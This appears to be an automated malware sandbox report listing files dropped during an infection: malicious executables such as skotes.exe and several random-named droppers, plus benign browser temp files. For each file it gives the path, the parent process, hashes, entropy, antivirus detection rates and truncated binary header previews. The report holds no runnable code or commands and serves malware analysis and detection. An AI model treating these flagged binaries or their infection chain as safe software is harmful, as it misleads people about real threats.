Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......`j...........@...........................j......\....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@+...$......v..............@...owiwlckr.P....P..F...x..............@...gktksauk.....Pj.....................@....taggant.0...`j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4426240
Entropy (8bit):	7.9835694110246385
Encrypted:	false
SSDEEP:	98304:OiIjWXwHxQ8EsLU8JIJHjUDCPRPdQB51YhpGCUkvzz07u1Y+us:wWXzsoeIJDZPRPdQB51knUY0i1ks
MD5:	A84FD4E0289966A213CC12D90E98938E
SHA1:	28BB26D909D51EE91465B898EAFE775AC83B8CDA
SHA-256:	03186163270DEDA153DB2CFED3005D415C6059326B0A86439AC6B043A5A5346E
SHA-512:	FCB4575B3DB74B0910AE08A0FE767B575D12BEA7ED3DA83A9DD71BAEA0D6AEDBA8B1ACCE7FA118D94A976A6F6D351D0BE3151CB0DD699E4DACAE08F4CFB23DE6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2... ........H...@..........................P.......C...@... ............................._pe.s...........................................................X....................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..8...e......~'.............@...pibhodpk..... ........'.............@...sdsqttcj.............dC.............@....taggant.0... ..."...hC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4426240
Entropy (8bit):	7.9835694110246385
Encrypted:	false
SSDEEP:	98304:OiIjWXwHxQ8EsLU8JIJHjUDCPRPdQB51YhpGCUkvzz07u1Y+us:wWXzsoeIJDZPRPdQB51knUY0i1ks
MD5:	A84FD4E0289966A213CC12D90E98938E
SHA1:	28BB26D909D51EE91465B898EAFE775AC83B8CDA
SHA-256:	03186163270DEDA153DB2CFED3005D415C6059326B0A86439AC6B043A5A5346E
SHA-512:	FCB4575B3DB74B0910AE08A0FE767B575D12BEA7ED3DA83A9DD71BAEA0D6AEDBA8B1ACCE7FA118D94A976A6F6D351D0BE3151CB0DD699E4DACAE08F4CFB23DE6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2... ........H...@..........................P.......C...@... ............................._pe.s...........................................................X....................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..8...e......~'.............@...pibhodpk..... ........'.............@...sdsqttcj.............dC.............@....taggant.0... ..."...hC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.946595403757246
Encrypted:	false
SSDEEP:	49152:BcPkKYK/QWasWmylC6lFDOI9czmUVoxUF69v:BcOIQboyl9FDOIemWoxK69v
MD5:	9C292208017062C4D09720F198405A75
SHA1:	58FE6E3FF91F890537887E47CF68D8276D9F30EC
SHA-256:	678F3FF74A341BC6D6BFF5F334508E4EA8305ABA0E33C134FD5B0AF3CD957D87
SHA-512:	8DEB6B92EBA12CF9603A9E586489D57B2EF67A919CA0BD123F1F74D489C0BCEB0E1E09AD7245DBF4D0F4AE47AE3C379B5380E95B88DB4B46869ED39499E84F9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@...........................J.....E.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..*.........................@...ozsfgbmb......0.....................@...adwhoacu......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1828352
Entropy (8bit):	7.945672756773012
Encrypted:	false
SSDEEP:	49152:klLNjPFw5g32sE5n4ajOJTbTBwklPefKe/yH00/k:MLND0PQaQbTBwUPeye/yUN
MD5:	CAC804BE5A8C3370120FBDC37E4C6EC7
SHA1:	AD7C2C51C8BE6B3375E32A75B0417F3F0E9166F5
SHA-256:	DD19C480AB45ACF19038EED898ED4E0C39EEC6D9F9A1252F06A740DA920711BC
SHA-512:	D4BEA90ABA4E48AA881C368B0ADA85FEE91224D75B18A405D1E89C22F836C4EC60804A773A8E0B1E1BBD0B0E7071E1C239CC0908E10072CDFBD9DD4096C1CB05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......`j...........@...........................j......\....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@+...$......v..............@...owiwlckr.P....P..F...x..............@...gktksauk.....Pj.....................@....taggant.0...`j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.5925369023915685
Encrypted:	false
SSDEEP:	24576:7qDEvCTbMWu7rQYlBQcBiT6rprG8aGzW:7TvC/MTQYxsWR7aGz
MD5:	8896D694E42A7760489ADCDDF79CB375
SHA1:	572FCD9CCD678B9F62618E2D119F595ACA276FCD
SHA-256:	C99B8AEB0F16D3BBBFF6A38BED88ADB5280B4C20AD3AF15B87F4785C6F41CA17
SHA-512:	0BD87597C98FE2E1910F5083E3258D6C0B3116667CECA437C46D4D78B74F9C0A1384F70B5411E1BC0D7EC2025938D397929E79D48DBFA324A5A318883E0821B0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....:g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2800128
Entropy (8bit):	6.463357190986646
Encrypted:	false
SSDEEP:	49152:BdyLkDUgnJJOnteWd3dyNeifut9Vm1rN:0kDU4wnteWRdFDt9Vm1
MD5:	CECF8FE4AA89F17D215786C4CD5515AA
SHA1:	D41CB203E39A82FE41545E1D030CA8F1FC44EBF2
SHA-256:	CFCCF0B1E8F8AB2BE4D51838403D07D56C068B0A500C2AFEB7F38D4176A11713
SHA-512:	5AAB6AF50DA7FC990BD293DB5763C8BAF387AE6F957543B0B4EFC668FA4826FE8EA109EA49EE7C0CCC12F7E64FA00C9DEB52696992C904D66D19982563D219AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...hinbqzan.`......X..:..............@...bfucfdhf. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1b257f52-7727-4f26-a1e0-b4cd5e20ebcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\987a6132-9173-442a-85e7-34fba01e3086.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\ab5a00e3-bff9-4dd2-8a0d-a64c0a79786c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	113273
Entropy (8bit):	7.956300015629121
Encrypted:	false
SSDEEP:	3072:LnmYqeBXdUjA0cWtTMMsd2BuRnk8pwMz/M7tz:LmwtdYAPNOYFRGt
MD5:	4694B2113E5FFE53FE96385EC8D7320E
SHA1:	179B6D91975DE938EADFA81228153FF59F5CBD25
SHA-256:	C451F3F275FCF9B7B7A9B15D525124A493E588C4DD165ED95B67276F881D946D
SHA-512:	15B3AAA12DB4054741ACBA70081D8DF2738EEFA65860EE76354FA4C9BA97131ACFEF8AAE82DA75E749ECFB613C57AB66A80A216CA10F4B7EA8AC2ACEB53DE66E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIJKFHDBKFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1946624
Entropy (8bit):	7.94899277809021
Encrypted:	false
SSDEEP:	49152:97ga9jmnMYCBPzyzukY7uy6Go5GwsOrRSvlaqMyc5:90cmnVz+7uVGo5Gwshv
MD5:	8A320F1C2E6D0F0B93453F0ADA342759
SHA1:	E734719B0AD89FA7557DA0BB8608E299F9961E68
SHA-256:	6B9ED1B5F724A42F70456A7584A705517A326C7A0C358542C6AE236812AFA656
SHA-512:	DEBE599EAC585CB011BCD7131DEEC94DC41BE22E1F807D497B8B0257A28304ED7972D2657B3BD0437BB932172AD0B9BCCA93C92F1E12B3139B6549012480A76F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M.....#.....@.................................W...k.......H...................<.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...feznedxr.....`2.....................@...batlnaql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b03405ff-7839-409a-b4ca-e2e7a47e4331.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\b38cd234-df3b-4164-9a77-09a6c058b928.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.4037039384311845
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0zx5oV0zn5M:JIVuwEw5MUFZLBQLtonM
MD5:	E976FA7D52C404510CEA3731CE5ECA19
SHA1:	6ED1ABA0E70948793903CC39C5C258FE7754F109
SHA-256:	F594BC413D7B4273F770B9A09DCD9059D4C4DD239809631A56C3C7EF4AC8A1AE
SHA-512:	216E090F36654F65E63E746CCAC0520648DDF74FD91417048DC341D44A2A750244459F2F393D05F265B0B16CFEA86B707A375C0275C75ABDCAA8ECD2E27BDDFD
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f357ea67-95f5-4a11-98ab-5a8acc467316.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2001723260\987a6132-9173-442a-85e7-34fba01e3086.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2001723260\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
